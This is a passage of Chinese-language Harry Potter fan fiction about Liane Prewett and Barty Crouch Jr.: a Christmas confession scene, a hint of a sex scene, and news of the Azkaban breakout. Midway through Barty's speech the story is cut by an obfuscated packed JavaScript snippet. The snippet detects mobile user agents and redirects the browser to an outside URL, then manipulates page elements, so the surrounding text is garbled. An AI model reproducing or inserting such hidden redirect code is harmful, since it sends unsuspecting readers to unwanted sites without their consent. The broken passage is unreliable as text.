“巴蒂,我想早点回家,”莉安握住了他的手,“我想和你在家里过圣诞,上个圣诞节,我们在城堡相认了,这个圣诞节,我们的孩子出生了,这个节日对我们来说有特殊的意义。” “休息一会儿,等治疗师说你可以出院了,我就带你回去。” 说完,小巴蒂去病房外找主治疗师交流了一会儿,得知她情况不错,又要了一瓶安眠药剂,这才回到病房里。 小巴蒂把药剂倒进高脚酒杯里,药剂在烛光的照耀下闪着紫罗兰般的光泽。 “把它喝了,亲爱的,这种药可以让你无梦的酣睡一场。” 莉安接过酒杯,一饮而尽,她一下子就觉得昏昏沉沉的,周围的一切都变得模糊了,病房的蜡烛似乎在水晶泡泡里朝她友好的眨着眼睛,她觉得自己的身体似乎在温暖的羽毛床垫中越来越深的沉陷下去。 她看着丈夫那张伪装过的温和的脸,没等再说一句话,她就筋疲力尽,沉入了无梦的睡眠。 20. 摊牌 赫洛和闪闪不知疲倦的为过节做准备,打扫和装饰整栋房子,哪怕这已经是圣诞的第二天,等莉安从圣芒戈回来时,家里已经一派温暖的圣诞气息,简直都要认不出来了。 客厅的炉火里有一根粗粗的圆木——法国传统圣诞柴,噼噼啪啪燃烧得正旺,吊灯上挂着冬青和金银彩带,魔法变出的雪花亮晶晶的堆在地毯上,一棵大圣诞树放在了沙发旁的墙角位置,上面装饰着活的精灵,它们脑袋上也戴了圣诞老人的帽子和胡子。 莉安有些发怔,因为每年的圣诞节她都是在陋居度过的,这还是第一次她在自己的房子里过节,但她很开心,因为有丈夫和孩子陪着她,在她眼里,普威特祖宅一点儿也不像过去的十几年那样冷清,反而温馨无比。 小巴蒂快步走到圣诞树下,那里有一架巨大的婴儿车和堆放在周围的礼物,他把两个襁褓放了进去,于是这对兄弟手舞足蹈了一会儿,摸着彼此的小手睡着了。 “拆礼物吗?”小巴蒂看着她坐到沙发上,关心的说,“他们把礼物送到了医院,我想着你也不知道什么时候会生,就把礼物带了回来。” “你帮我拆吧,”莉安对着那对大小各异的礼物盒子有些纳闷,“亲爱的,你们食死徒不互相送礼物吗?” “他们倒是想送,但是谁知道我藏在哪里呢?反正我是不可能去卢修斯那里的。”小巴蒂嗤笑一声,把她推倒在沙发上,又拿过一条厚厚的毛毯把她裹了起来,然后坐在她旁边开始拆圣诞礼物。 韦斯莱夫妇的礼物还是手织的套头衫和肉饼,闪闪送了百果小圆饼,赫洛送了一盒法式干香肠,双子送了一袋粪蛋,凤凰社的几个朋友送了一些稀奇古怪的探密器和护身符之类的对抗黑魔法的道具。 小巴蒂淡定的把比尔那个礼物扔进了壁炉里,这才开始拆最后一个,还特意转过来,就在她眼前拆。 “是什么呀,亲爱的?”莉安知道这肯定是他送给自己的礼物,开了个玩笑,“难道是照妖镜吗?” “不,我让闪闪去了一趟金库,拿了我祖母和我母亲用过的首饰来,”小巴蒂掏出一个有些褪色的黑色天鹅绒盒子,怀念的摩挲了几下,打开它从里面取出来一对耳环,“给,克劳奇的传家宝。” 莉安接过这对造型别致的鸟笼耳环,它们顶部镶嵌着一颗大珍珠,一些亮闪闪的碎钻环绕在周围,金色的半个鸟笼上还垂下了一些链条,合在一起就是整个鸟笼。 “卡丽丝之心,我祖母做的,后来传给了我母亲,现在传给你,以后传给洛特的妻子,”小巴蒂淡定的说,“喜欢吗?只传女主人。” “我当然喜欢,”莉安神情柔和的说,“就是它有点怪…噢当然,它很好看,也很华丽…谢谢你,巴蒂。” 小巴蒂嘴角扬起,替她把耳环戴在耳朵上,莉安只觉得有些别扭,她很少戴什么首饰,但小巴蒂制止了她取下来的动作。 “这可比那些弄虚作假的护身符强多了,卡丽丝是炼金大师,这对耳环可以防恶咒。” 莉安摸了摸耳环,慢吞吞的说,“巴蒂,魔杖给我。” 小巴蒂把魔杖递给她,莉安用杖尖指向自己,“Animagi——” 在小巴蒂不可思议的眼神中,她的衣服与耳环和戒指等物融进了她的皮肤中,变成了羽毛和爪子。 不多时,一只漂亮的知更鸟站在小巴蒂头上,蜷曲的小爪子紧紧的抓着他的头发,悦耳的鸣叫起来。 小巴蒂以迅雷不及掩耳之势把鸟儿抓在手里观察,这只鸟儿的体型较大,不太像常规的知更鸟,它的背上是深蓝色的羽毛,而胸腹部的小绒毛是橘色到浅金色再到白色的渐变,他注意到,它其中一边翅膀上的一根翎羽颜色略浅,呈银白色——那是她戴戒指的地方。 他小心的扒开了它两边眼睛斜下方的绒毛,发现那里果然有两个金色的小洞——耳环也完美的融了进去。 知更鸟仰躺在他掌心,轻轻啄了啄他的手指,小巴蒂又把它放回头上,听着它在自己头顶唱出清脆甜美的歌声,就像悠扬的笛声或琴声在他耳边回响。 知更鸟是英国国鸟,也是一种鸣禽,它的歌声嘹亮悦耳,并且具有疗愈效果,能够安抚和放松人的精神,它的歌声不仅清脆尖细,而且富有节奏感,总是能给人带来一种明媚和愉悦的感觉,不过小巴蒂很清楚,这都不是她现在唱歌的理由。 等到她不再鸣叫了,小巴蒂才看到她又飞回魔杖旁边,啁啾几声,一阵令人胆战心惊的变形过去,他的妻子又虚弱的躺到沙发上去了。 “生完他们我就可以每天练习了,”莉安看到他古怪的眼神,安抚道,“别害怕,第一次没有出问题,以后就不会出现那种半人半兽的骇人突变,我要成为高级的阿尼马格斯,这样就不需要魔杖变形了。” 小巴蒂没有像她认为的那样生气,而是平静的说,“我记得,阿尼马格斯所变形成的动物总是与他们的守护神相同,但目前尚没有已知的阿尼马格斯能够在守护神改变时,也随之改变自己变形的动物,因为兼具阿尼马格斯变形和施展守护神能力的巫师极为稀少,更别提守护神还要发生改变,所以没有足够数量的研究可以断定结论。” 他继续说道,“当然,你验证了这个结论,恐怕你的守护神应该是蓝知更鸟,遇到我之后变成了奶牛猫,否则你的阿尼马格斯应该和守护神一样,所以你的守护神的确为我改变了。” “没错,”莉安郁闷的点点头,“世界杯之前我练习这个咒语的时候,它就像一团半透明的云彩,但是隐隐约约能看到守护神的轮廓,像个鸟儿,没想到最后施放的完整守护神是猫…” “挺好的,”小巴蒂舔了舔嘴唇,声音有些沙哑的说,“猫很善于捕捉鸟类,你反向推测出了我的阿尼马格斯动物和守护神形态,尽管我没学这两个咒语。” 莉安:……你终于承认你是奶牛猫了! 但是猫善于捕捉鸟类是什么鬼? 莉安怀疑的看着他。 “噢,真心相爱或者注定的伴侣、还有痴情的单恋一人时,守护神会因为对方发生改变或者根本就是一对,就像我是猫,你是鸟——捕食者和它追逐的猎物,这就是注定,而有些人的守护神改变后,会变成和对方守护神同一种动物的不同性别,”小巴蒂看懂了这个眼神,干干巴巴的解释道,“你为我改变了,所以你的那只奶牛猫,是一只母猫。” “所以你的意思是——” “意思是天生一对,你命中注定会爱上我。” 莉安张了张嘴,本能的想嘴硬,但看到小巴蒂一眨不眨的眼神,仿佛非常渴望得到她给他的确信,又有些心软。 他们已经结婚,连孩子都有了两个,或许她再也不用像一根绷紧的发条或琴弦一样时刻保持警惕——在这个世界上,她不再是孤独一人,有人陪伴她一起面对险恶艰辛的人生和她可悲的命运了。 “是的,”莉安低声说,“虽然你是个坏人,闯进了我的房子,但你没对我做什么坏事,你逗我玩、陪伴我、并且长相英俊,我…” “所以我无可救药的喜欢你。” 莉安说完,立刻翻身,头看向沙发内侧,她怕小巴蒂兴奋的发疯,扑上来咬她。 提心吊胆了好一会儿,她那个时不时发疯的丈夫都没发出声音,莉安转过头,就发现小巴蒂正在用手指玩她的头发,神情莫名。 “怎么这么平静,”莉安警惕的盯着他的动作,怕他扯自己的头发,“这不像你。” “我在想一件事,”小巴蒂微微皱着眉,用缓慢的、沉思的语调说,“你知不知道我为什么喜欢你?” “因为我救了你。” “不,不止,”小巴蒂把浅金色的头发缠在手指上又松开,像在给她卷头发似的,继续沉思着说,“我不会那么轻易的喜欢谁。” “那你告诉我,巴蒂,总不能是因为我的确是个孤儿,好欺负——” 在小巴蒂突然变得凶狠的眼神中,莉安非常识时务的住了嘴。 “十三年后再见面,我是让人避之不及的越狱犯,一个没有身份的死人,也是人人喊打的食死徒,我一直在想,在这种情况下,如果有人救我,不计前嫌的救我,除了我母亲之外,还会有别人吗?我想没有,因为如果真的有这个人存在,我实在想不出来为什么,她为什么会救我。” “当我看到我的照片贴在她的床头时,我好像有点明白了,她一定很喜欢我,如果她只是把我当仇人纪念,那她发现我躺在那里的时候,她完全可以通知傲罗,有个犯人从阿兹卡班逃脱了,西里斯·布莱克并非第一个越狱犯,我才是,如果她把我交给傲罗,恐怕她立刻就能获得梅林爵士二级勋章和一大笔金加隆,甚至她都不需要费心费力把我带去魔法部,只要呼喊一声,那些击昏我的傲罗和附近的魔法部官员立刻就会得到通知。” “她很喜欢我,所以愿意冒着一切风险把我带回她的家里,甚至把知道我秘密的闪闪也抓了回来,她收留了我们主仆,小心的帮我扫尾…她太喜欢我了,如果这么浅显的事情我都看不出来,那我就太蠢了。” “那一瞬间,她的感情战胜了她的理智,也压倒了她的尊严——她身为英雄后代的骄傲和责任,理智告诉她这是不对的——这当然是不对的,她怎么能爱上一个食死徒呢?这会令她的家族蒙羞,让她父辈们的威名扫地,甚至给她自己也笼罩上一层不详、危险的阴影,所以她不肯承认她爱我,她总是想要让我离开,但她心里是不情愿的,如果她只是个普通家庭的女孩儿,她最多只会有点恐惧,而不会嘴硬的死撑到底,直到我用手段得到她后,才无可奈何的承认她爱我。” 莉安已经被他说得浑身发抖,双手抱着自己,蜷缩在毯子里——她不喜欢总是被他看穿,这代表她面对他的时候一点胜算也没有。 她想,这就是他们的相处方式,他的话有些野蛮和残酷,好像他在回击她对他说过的言不由衷的话,但似乎他揭穿她,只是为了纯粹的、不正当的乐趣,为什么他要在她明显想要避开它的时候提起它呢?他的那句“无可奈何的承认她爱我”,是对她作为一个爱他的女人,不肯用爱面向他的直接控诉。 “喝了它。”小巴蒂起身,用右手递给莉安一个杯子,左手还有一小包糖,夹在他的食指和中指之间,他那弯曲、不安的手臂几乎是在恳求她走近他。 莉安从他手中接过咖啡,她不明白为什么是他端给她咖啡,而不是闪闪或者赫洛。 “你有没有想过,如果我的爱情死了,我会变成什么样子呢?”小巴蒂问她。 莉安摇了摇头,她不知道,不知道他会变成怎样的魔鬼,也许他还会捉住她,就像漫不经心的捉住了一条鱼那样,随手把它丢回鱼缸里,让它在那里浮沉或漂流,偶尔一次放出几个气泡,再扔给它小颗粒的食物,这样它就不会窒息,不会饿死,也不会撑得肚皮发胀。 但也仅限于此了,不会有更多东西。 “你知不知道阿尼马格斯变身之后,动物的脑袋可能会取得主宰并驱使你做出愚蠢的事,”小巴蒂慢吞吞的说,“你刚才释放了动物的本能,而我,恰好很了解知更鸟。” 莉安的嘴角轻轻颤动,但什么也没说,就像听到了简单的、冒犯的话,然后,小巴蒂抬起眼睛直直的盯着她,但却是面色阴沉的盯着她,她也用同样的看似没有焦点的目光盯着他。 “在我头上唱歌,”小巴蒂凑近了她,在她耳边用轻轻的声音说,“知更鸟的歌唱行为是在跟异性求爱,换句话说,我被你求爱了。” 莉安想起身离开他,她知道他是对的,他能看穿她,把注意力集中在她最害怕的一件事上:每次他盯着她眼睛的时候,她对他的渴望和爱都会涌出来,这让她很难与他对话,或者很难承认她确实渴望他,她甚至不想让他知道,一旦开始这个话题,她是多么容易脸红。 她是在隐藏爱和欲望吗?或者说,她不应该有爱和欲望? 他为什么要开始这个让她难以启齿的话题?明明他知道她爱他呀?为了怂恿她?还是他怀疑他们之间的一切?或者,正如她完全为他屈服了,接受命运那样,结果这一切只是她的臆想吗? 小巴蒂拉住了她的手,“别逃避。” 莉安无奈的坐了回去,沉默着,一言不发。 真的很尴尬,哪壶不开提哪壶,她想。 “就算我是黑魔王的心腹,我也没有在你身上探听过凤凰社的情报——他们自己送上门的不算,”小巴蒂冷静的说,“我们结婚了,有两个孩子,我一直认为我们的感情很好,但是我刚才发现,你还是不相信我,做人的时候你隐藏的很好,可是变成动物,你就忍不住了。” “你不相信我爱你,你觉得迟早有一天我会走的,等我玩够了的时候,所以你现在就只是陪我玩,你在得过且过,或许你还会想,就算我走了,你还有我们的孩子。” 莉安躺回沙发上,拿毛毯蒙住头,她希望这是一条吸水性优秀的毯子,她可以不发出任何声音,只是默默流泪。 他不仅仅是看穿了她,他在肢解她,这话像一个小飞镖,又轻又快的击中了她,又轻又快,就像她喜欢他一样,她不想去管它。 尽管他们的世界完全不同,但他们住在同一间卧室里,过着几乎完全相同的生活,差点让她以为他们是完全相同的人,然而他夜晚离开的行为总是证明了,有相同的生活,他想和她形影不离,不过是孤独投射在他生活的四面墙上的众多投影之一而已。 被他发现了,那么,一切都结束了吗?他在跟自己摊牌,他们没有任何希望了吗?突然间,她能想到的只有心碎这个词,他伤了她的心,这些残酷而尖刻的话让她心痛,让她心碎,她的心真的在狂跳,她突然发现自己在痛哭,她真的会这样哭吗?如果会,为什么遇到他之前从来没有过? “然后呢?”她问道,仿佛想确定她会不会像一艘名为飞翔的荷兰人的幽灵船,永远被困在他的世界里,等着命运决定它会把她带到哪里。 “是不是我永远没办法给你安全感?” 小巴蒂掀开了她的毛毯,看到她的泪水,不假思索抓住她,吻上了她的嘴。 她立刻缩了回去,这让小巴蒂错愕,因为即使是一只突然被火烧到的手,也不可能顷刻就缩回去,他的唇还没有触到她的唇,她就说出了不这个字,仿佛她已经知道要发生什么,并且准备好了答案。 她让他好像一个令她的手指放在魔杖上,准备先放恶咒再问的人,之后才发现这个在某晚走向她的男人,和其他迷路的巫师一样,只是想问个路。 这不仅是他们在一起后,第一次在吻她的时候被拒绝,而且这个第一次的时机来得那么自然而然、那么不由自主、那么毫无预兆,她这么粗暴的回绝他,这感觉像是对他们在婚姻中分享的每一刻的侮辱,这是对坦诚的侮辱,对爱情的侮辱,对他的一切的侮辱,对他本身的侮辱。 他突如其来的一吻让她这样震惊吗?这个吻真的有那么冒犯吗?他的吻,或者他…如此令她厌恶吗? “为什么不让我吻你呢?” “我不想解释,你也不需要解释,太冷了,巴蒂,把毯子还给我,好吗?” “这不是解决问题的态度,”小巴蒂坚决的说,把毯子盖在她身上,仔细掖好,“我不想你那么看待我——” “我知道了巴蒂,不要再说了…” “不,我必须说,”小巴蒂挤进了毯子里,“你对我的想法都是错的,如果说在我入狱之前,有女人说爱我,我不一定会相信,也不会跟她们发生什么,因为那时我认为我不需要这些,爱会让我软弱。” 他抱着她,没有试图去给她擦眼泪,因为他很清楚,不解决这个误会,她可能每个晚上,在他离开的晚上都会掉眼泪,不抱一点他还会回来的希望,把每次送他离开都当成永别。 “那场大义灭亲的审判后,我什么也没有了,我身败名裂,从一个优等生、别人眼里的好孩子变成了一个阶下囚,除了我母亲之外,再也没人相信我、拯救我,我以为我这一辈子也就是这样了,在夺魂咒下度过余生,唯一的期盼是黑魔王东山再起,他来找我,或者我努力挣脱夺魂咒,我去找他。” “在魁地奇世界杯上,我听到了那个红毛叫你的名字,我想起了我入狱前一天晚上见过的小女孩儿,你长大了,我想再逗逗你,因为我很快就会被闪闪带回去了,可能再也见不到你,但是后来,我看到哈利·波特的魔杖插在他的口袋里,自从我进了阿兹卡班就再也没摸过魔杖,所以我偷了他的魔杖,我想等我挣脱夺魂咒的时候,这根魔杖会派上用场。” “晚上我回到帐篷后,老巴蒂重新对我施了夺魂咒,直到那些胡闹的家伙唤醒了我,我想教训他们,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727486|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我把黑魔标记发射到了空中,然后我被昏迷咒击中了,等我再次醒来时,我一睁眼就看到了你。” “我一开始是警惕的,也许你仍然把我当成坏人,你是对的,那时我的确是坏人,我看到了我的照片,我发现你其实喜欢我,但是你不愿意承认,你总是口是心非,你讽刺和辱骂我是罪犯、老男人,我很生气,但后来,我意识到那些话其实是你对自己说的,你反反复复的告诉你自己,我们不能在一起,你不能喜欢我,我很着急。” “为了撬开你的嘴,为了让你正视内心,我什么办法都用了,我必须告诉你,我不是在跟你玩一个角色扮演的游戏,我是丈夫你是妻子,玩完这个游戏,太阳下山,我们就各自回家,而是我知道,在那种情况下,我一无所有,我是个罪犯,还有谁会爱我呢?我以为没有人会爱我了,但还有你爱我,是不是?我也爱你,亲爱的,我说过很多次我想对你以身相许,那不是玩笑,我没有玩弄你。” “不要再说了…”莉安把头埋进他脖颈间,她的嘴唇颤抖着,泪水也在无声的流,“再说我就信了…你是个骗子…” 此刻躺在他怀里,在他们初见那天晚上他躺的沙发上,她意识到,在他又一次吐出他的花言巧语时,她所能做的一切就是努力板着脸,对他,对自己,对任何人——和他在一起的时候也尽量显得没有那么享受,这样她就不会觉得这是她一生中最满足的时刻。 把那一刻放在冰上,把对他的爱、渴望、依恋放在冰上,和她的每一个微不足道的希望相依为命,让它们冰冻吧,就像鱼子酱总是冰镇的一样。 “如果有一天,我们再次见面时,已经完全是陌生人了,我是可以接受的,因为这是抛掉过去的代价,但如果我们真的变成陌生人,眼看着你在闯进我的房子,踏进我的房间那么多次后转身离开,我会学着恨你,请记住:无论如何,我都不会忘记你对我的伤害,我希望你永远不要回来。” 她知道,如果他离开了,她一定会永远为此而恨他,因为他剥开了她的心,让她最隐秘的渴望和见不得人的小心思在阳光下赤裸,他迫使她低头,用真相解剖了她,就像强迫一个未被判决的囚犯看狱友被残忍的处决一样,只是在她目睹了那场暴行之后,才被告知,他根本没想处决她,事实上她可以自由离去。 她不能接受他又在骗自己,她怕他下一秒就会笑嘻嘻的用他的离去处决她,再告诉她:你又当真了,小家伙,你真是个大傻瓜。 莉安握住了他的手,放在了她的脸颊上。 “好多了。”她说,好像她只是在自言自语,或者是在和一个她想和好的朋友说话。 小巴蒂的手放在她的脸颊上,然后向下抚摸她的脖子,就在她的耳朵下方,他每个晚上都会疯狂亲吻的地方,他突然吻了上去,一时激动之下,她对他的吻毫无准备。 她似乎并没有多想也没有反抗,她靠在他的手里,就像那只漂亮的蓝知更鸟乖乖的被他握在手里,躺在他的掌心,两只小爪子向前伸着,他把她翻来覆去,他可能在无意之间揉了下她的脸颊,但之后就一直在揉。 “除了我,不要告诉任何人你是阿尼马格斯。” “好。” 圣诞假期结束的第二天晚上,小巴蒂终于出门了,经过半个月的修养,莉安的身体恢复的很快,她一直都在喝美丽药剂,唯恐自己身材或者皮肤走形,不过值得庆幸的是,女巫的确不会因为生产留下什么疤痕,所以她又变回了以前高瘦纤细的样子。 她哄了哄两个精力旺盛的儿子,再次庆幸家里有两个小精灵帮忙,毕竟她完全无法想象姑妈到底是怎么带大弗雷德和乔治的,何况莫丽居然生了七个孩子,老天爷啊,她还没疯真是个奇迹。 “闪闪,你少爷小时候也是这样吗?” “闪闪出生的时候少爷已经有三岁了,不过我妈妈说,少爷小时候很安静。”闪闪纠结的看着她,就差把“从你自己身上找原因”这句话刻在她小精灵特有的大脑门上了。 莉安:……懂了,外甥像舅! 莉安叹了口气,乐观的说,“没准他们再大一点儿就能像他们父亲那样——” 她突兀的住了口,像他们父亲什么?像他们父亲那样是两个神经病吗? 闪闪看她僵硬的脸色,大声的替自己少爷鸣不平,“巴蒂少爷小时候乖巧又安静!他是个好孩子!巫师的考试拿了12个O!我再也没见过别的巫师家庭有这么优秀的小巫师!” 莉安一边听着闪闪喋喋不休的讲述小巴蒂童年的故事,一边望着窗外雾霭缭绕的夜色,不知道为什么,这一刻,她突然想起来第一次见到丈夫的时候。 他把自己举起来,吓唬她说要把赫洛杀掉,逼她说出她的名字,他可真坏啊。 但她很庆幸自己那时候还小,被他恐吓了几句就告诉了他她的名字,这让他在世界杯上发现了自己,他不停的骚扰自己,那双诡异的手让她想到了奶牛猫又贱又欠的爪子。 和他重逢、相爱,这是多么幸运的事啊,她一直盼着能再见到他,哪怕他已经死了,但他要是能来到她的梦里,也是好的。 门突然打开了,莉安把头转向门口,夜雾从门外飘入,这一刻,她仿佛听到了像十四年前那样的动静,她期待着,望着那个黑色的身影。 雾中突然出现了一张面具,她曾于一个黑暗、危险、打雷下雨的夜晚在她的房子中见过:金色的头发、浅灰色的眼睛,穿着兜帽长袍。 她不由自主的向他走去——她好喜欢他,喜欢他的头发、眼睛、嘴唇、牙齿,他的一切,一切…她知道这已经越界了,超越了当年她只是想对他索要的单纯的陪伴,但她已经不能控制自己的双腿和心了。 她无法再像小时候那样跳到楼梯扶手上,冷淡的看着他,矜持的等待他把自己抱在怀里。 她一直很羡慕那些敢把自己的牌明放在桌子上的人——即使他们没有一副好牌——她羡慕那些为了爱情而敢作敢当的人。 他是对的:她不敢爱他,她的每句嘲讽都是口口声声的逼迫自己不要爱上他,她害怕她一直以来坚持的东西会溃不成军,她怕遇到他之后的任何时刻,他都有可能告诉她她最害怕听到的事。 她想,她知道他想说什么,她爱上了这世上最古老的把戏,被他戏谑的目光和漫不经心的态度而折磨,她发现自己很想抢占他的先机,哪怕是自己说出来,而不是听他说出来,他就像一把锋利的手术刀旋转一圈,把她从自己身上挖了出来,她不再是她了,她的一切都被他拿走了,她所要做的就是跟自己告别。 小巴蒂接住了扑过来的妻子,“我还以为打雷了呢。” “巴蒂——” 小巴蒂抱着她往楼上走,不耐烦的声音飘了下来,“你们两个照顾好你们的少爷,还有,明天的《预言家日报》记得第一时间拿给我,闪闪,端份晚餐来,放到门口就行,不要敲门打扰我。” “没问题主人!” 莉安没有再说话,她还不知道发生了什么,整个人就被席卷起来,但她知道即将发生什么,她已经没有什么可失去的了,没有尊严,没有荣誉,只有爱,她觉得这值得把她最后一丝骄傲扔进火里,在非常寒冷的日子里,一个冻僵的波西米亚诗人可能会把他的手稿扔进火里,以保持温暖,找到爱,抛弃艺术,给命运一点颜色看看。 莉安·普威特永远不知悔改,她就是爱小巴蒂·克劳奇。 (章末车) 车前小剧场: 小巴蒂关了枝形吊灯,莉安见他面无表情的脱了食死徒的兜帽长袍,揉揉胀痛的眉心,小声道,“不关熔岩灯吗?” “不关。”小巴蒂扬扬眉毛,把她按倒在枕头上,那双像奶牛猫爪子一样贱贱的手伸进了莉安的长袍里,这里捏一下,那里揉一下,把她弄得身体瘫软。 “今晚不让我休息一会儿吗?我才刚从圣芒戈回来没多久啊…” “你这不是在休息吗?”小巴蒂似乎很惊讶她怎么会问出这么蠢的问题。 “我的意思是,今晚…”莉安低声说着,但小巴蒂马上打断了她。 “我有多久没碰你了?”他委屈巴巴的说,“因为这两个小子,半年了,你要我憋死——” “你什么时候憋死了?”莉安被他的颠倒黑白气得浑身发抖,“每天晚上你都要我…你真无耻…你——” 21. 托宾 第二天早上,莉安很快就知道了小巴蒂非要先她一步拿到《预言家日报》的原因。 闪闪送报纸上来后,小巴蒂早有预料一般打开报纸看头版,莉安觉得他不像往常那么散漫,伸长了脖子想看报纸,但是小巴蒂马上就把报纸合上了。 “我们一起看,你别动了,反正也下不了床,”他慢吞吞的回到床上,把莉安的头扶到自己的肩上,“但是你不许情绪太激动,不然气坏了身体,我怎么办呢?” “外面发生了很严重的事吗?”莉安的神色突然变得严肃起来,“又有人受伤了?可是亚瑟上次受伤魔法部甚至都不让《预言家日报》宣布这个消息,不是给邓布利多造谣就是写什么无关紧要的报道,比如厕所污水回涌…谁要看这个!” “不许生气,”小巴蒂捏住了她的嘴,“否则我就把这些报纸全都扔进壁炉里,反正这两天你哪儿也去不了。” 莉安红着脸瞪了他一眼,不情不愿的嘟囔着,“好吧,下次…下次不许这样了!” 小巴蒂思索片刻,最终还是抬起魔杖,杖尖飞出粗大的绳子把她连被子一起捆了起来,莉安震惊的看着他,终于意识到了事情的严重性,毕竟上一次他捆自己是为了强迫她面对他。 “巴蒂,是什么事这么重要?”莉安冷静下来,紧紧的盯着他的眼睛,说道,“我现在更不安了,有种不祥的预感…告诉我吧。” 小巴蒂深深的吸了口气,展开报纸,占满头版的是十张黑白照片,九个男巫和一个女巫的面孔,有的在无声哂笑,有的傲慢的用手指敲着边框,每张照片下注有姓名和被关进阿兹卡班的罪行。 莉安看到其中一张照片,一个头发油光光的麻脸男子倚在边框上,一副厌倦的表情。 [奥古斯特·卢克伍德,向神秘人泄露魔法部机密。] 而那个女巫的脸上浮现出一丝高傲的、轻蔑的微笑,她还保留着一些俊美的痕迹,但阿兹卡班已经夺走了她大部分的美丽。 [贝拉特里克斯·莱斯特兰奇,酷刑折磨弗兰克·隆巴顿和爱丽丝·隆巴顿夫妇,导致二人永久性残废。] 莉安的心脏不受控制的狂跳起来,她觉得自己的嗓子又干又疼,好像不能发出声音了,她望望一脸警惕蓄势待发的丈夫,又低下头去,继续看那些照片。 她心里不详的预感成真了,因为这次她看到了一个男巫,他苍白扭曲的长脸正对着她冷笑。 [安东宁·多洛霍夫,凶残杀害吉迪恩·普威特和费比安·普威特兄弟。] 小巴蒂见她一直没有抬头,紧紧的搂着她,和她一起看标题和报道的内容。 【阿兹卡班多人越狱——魔法部担心布莱克是食死徒的“号召人”】 「魔法部昨天夜间宣布阿兹卡班发生大规模越狱事件。 部长康奈利·福吉在办公室接受采访时证实十名重犯于昨晚脱逃,他已向麻瓜首相通报了逃犯的危险性。 “非常遗憾,我们陷入了与两年半前杀人犯西里斯·布莱克脱逃时相同的处境,”福吉说道,“而且我们不认为两次越狱没有联系,如此大规模的越狱令人怀疑有外面的接应,要知道布莱克作为从阿兹卡班脱逃的第一人,最有条件帮助他人越狱,逃犯中还包括布莱克的堂姐贝拉特里克斯·莱斯特兰奇,我们认为这些逃犯可能把布莱克当作领袖,但魔法部正不遗余力的追缉逃犯,并请公众保持警惕,切勿接近这些要犯。”」 后面的版面莉安没有再看,她只是一直盯着那张多洛霍夫的黑白照片,然后很慢很慢的抬起头来,看着自己的丈夫,这也是小巴蒂第一次在她眼里发现冰冷的、蓄有敌意的东西,无论以前她嘴里嫌弃的多厉害,但她看向他时,眼底永远是一片温柔的蓝色海洋。 “昨晚你是不是和你的主人去了阿兹卡班?” “没错,”小巴蒂冷静的说,“但是我希望你给我一点信任。” “你想要什么信任呢?”莉安的语调无波无澜。 “我已经告诉过你,摄魂怪是食死徒的盟友,魔法部在养虎为患,我以为你早就预料到这件事的发生了,”小巴蒂观察着她的表情,继续解释道,“这不怪你,可能是你一直在咱们房子里养胎,很少去凤凰社参加会议,否则你应该从邓布利多那里得到了一些消息——他非常善于揣测黑魔王的动向和计划,就像黑魔王了解魔法部的问题和福吉的心理,并加以针对性利用那样,只是除了凤凰社的人,没人会相信邓布利多。” “然后呢?” “这对你来说并不是一件难以接受的事,”小巴蒂用蛊惑般的语调说,“宝贝,我昨晚见到他们了,多洛霍夫在阿兹卡班待了十几年,他一点儿事情都没有,可想而知他对摄魂怪的精神抗性有多高,他甚至可以平平安安的在那儿养老,宝贝,我了解你,你不会甘心就这么放过他的,这件事换个角度看——你拥有了手刃他的机会。” 莉安一言不发,陷入了沉思中。 “别生我的气,”小巴蒂解除了束缚咒,轻轻抚摸她的头发,从发顶一直滑到后背,他温柔的说,“不是我杀了普威特兄弟,如果你想杀多洛霍夫,我可以帮你——” “不,我要亲自动手,”莉安回神,坚定的拒绝了他的帮助,“这是我身为普威特的命运,我会跟他战斗到底,哪怕像我父亲和叔叔那样牺牲——” “你不会的,”小巴蒂耐心的说,“你是我的学生,毋庸置疑的,你比他强大,我一直没告诉你,黑魔王对我很有兴趣,我喜欢黑魔法,而他欣赏我的天赋,我的确是毕业之后才加入了食死徒,但是很早的时候,黑魔王就通过卢修斯接触了我,我们有很多相似之处,这个世界上没有人会比我更了解他…任何事,他教了我很多黑魔法,我是他最宠爱的学生,就像他的儿子那样,你猜他为什么来找我帮他准备复生仪式呢?我是他最倚仗的心腹。” “我要杀黑魔王,你一定不会同意,但是多洛霍夫——” “你打不过黑魔王,我不想你无意义的送死,”小巴蒂说,“他是几百年来最强大的巫师,你再强也没有到邓布利多那个层次,所以,我们先为你父亲报仇,以后的事以后再说好吗?” 莉安咬了咬嘴唇,“你没骗我吧?” “这种事我不会骗你的,我爱上了普威特的女儿,有些事情是必须要做的,”小巴蒂把她拖了起来,两人面对面的抱着,他的下巴放在她颈窝上,“不要把我当成你的敌人,我不会伤害你的,就像你明知道我做的事你不认可,但在穆迪的办公室,你依然选择救我那样。” 莉安的两只手用力抓在了他的背上,指腹留下了几道红色的压痕,但小巴蒂眉头都没有皱一下,他感觉那双手和她的身体都在颤抖。 “既然黑魔头那些忠诚的党羽已经回到了他的手下,你是不是有时间陪我了?” “这不一定,但是我尽量,只要他不召唤我,我就在家里陪你,”小巴蒂安抚道,“还是说你有什么计划、有什么事需要我陪你去做?” “陪我回法国,”莉安喃喃的说,“我要回我母亲的家族看一眼。” “好,我们坐欧洲之星,两个半小时就到了。” 小巴蒂不想她难过,于是讲了一些麻瓜界的事转移她的注意力,“这是一年多前刚刚投入运营的一班高速国际列车,连接伦敦和巴黎,从这儿幻影显形到巴黎太远了,我们先做火车去伦敦的车站,体验一下地铁,装扮成麻瓜,好不好?” “但我只有一条麻瓜的裙子。” “一会儿我就出去买衣服,我们先吃饭吧,你在家乖乖等我。” 小巴蒂看她心情放松了些许,甚至开始关注衣服和鞋子,抱着她往厨房走,“我早就知道你的眼光不行,那几套睡衣…” 午饭后,就在小巴蒂换好衣服正要出门时,莉安突然醒悟过来,她恶狠狠的瞪着他,虽然站不起来,但嘴里不死心的控诉着,“你是不是故意的!” “什么故意的?”小巴蒂装傻。 “你昨晚…我…你…” 